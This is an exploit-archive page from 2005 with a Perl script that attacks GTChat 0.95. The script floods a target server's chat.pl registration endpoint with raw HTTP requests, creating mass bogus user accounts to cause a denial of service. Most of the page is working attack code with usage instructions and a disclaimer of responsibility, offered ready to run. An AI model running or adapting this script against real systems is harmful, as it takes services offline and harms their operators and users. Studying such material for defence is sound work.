[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : GTChat <= 0.95 Alpha (adduser) Remote Denial of Service Exploit
# Published : 2005-08-23
# Author : VTECin5th
# Previous Title : vBulletin <= 3.0.8 Accessible Database Backup Searcher (update 3)
# Next Title : GTChat <= 0.95 Alpha Remote Denial of Service Exploit


# Use a high user # for best results. /str0ke

#!/usr/bin/perl
######################
# codez0red by VTECin5th #
# Feel free to modify/break this script #
# Crappy code is more effective =] #
# I accept no responsibility for misuse or abuse #
######################
# Usage: xxx.pl www.server.com /directory_to_chat/ #_of_users_to_create
######################
# Affected Software: GTChat .95
# Unaffected Software: GTChat .93
######################
use IO::Socket;
if (@ARGV < 2){
print "Usage:n xxx.pl www.server.com /Path_to_GTChat/ #_of_users_to_createn";
print "Example:n xxx.pl www.serfer.com /GTChat/cgi-bin/ 5";
exit;
}
$dir = $ARGV[1];
$numero = $ARGV[2];
$host = $ARGV[0];
$host =~ s/http:////gi;
for ($i = 1; $i <= $numero; $i++) {
$rando = int(rand(234));
$randy = int(rand(12));
$whyThem = $randy . $rando . "@" . $randy . ".com";
$whyMe = "SoSorry" . $rando . $randy;
$lol = "$dir/chat.pl?action=register&name=$whyMe&password=$whyMe&password2=$whyMe&email=$whyThem&privateemail=0";
$ox=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>80,Proto=>'tcp') || die "Oh No! You broke teh server!";
print $ox "GET $lol HTTP/1.1rn";
print $ox "Accept: */*rn";
print $ox "Accept-Language: ptrn";
print $ox "Accept-Encoding: gzip, deflatern";
print $ox "User-Agent: 1337 pwnz0rrn";
print $ox "Host: $hostrn";
print $ox "Connection: Keep-Alivernrnrn";
print "currently on: $whyMe t ($i)n";
# Please note, this does not verify whether or not the user is actually being created.
# I assume you know how to use this script.
}
print "Finished creating $numero users";
close($ox);

# www.Syue.com [2005-08-23]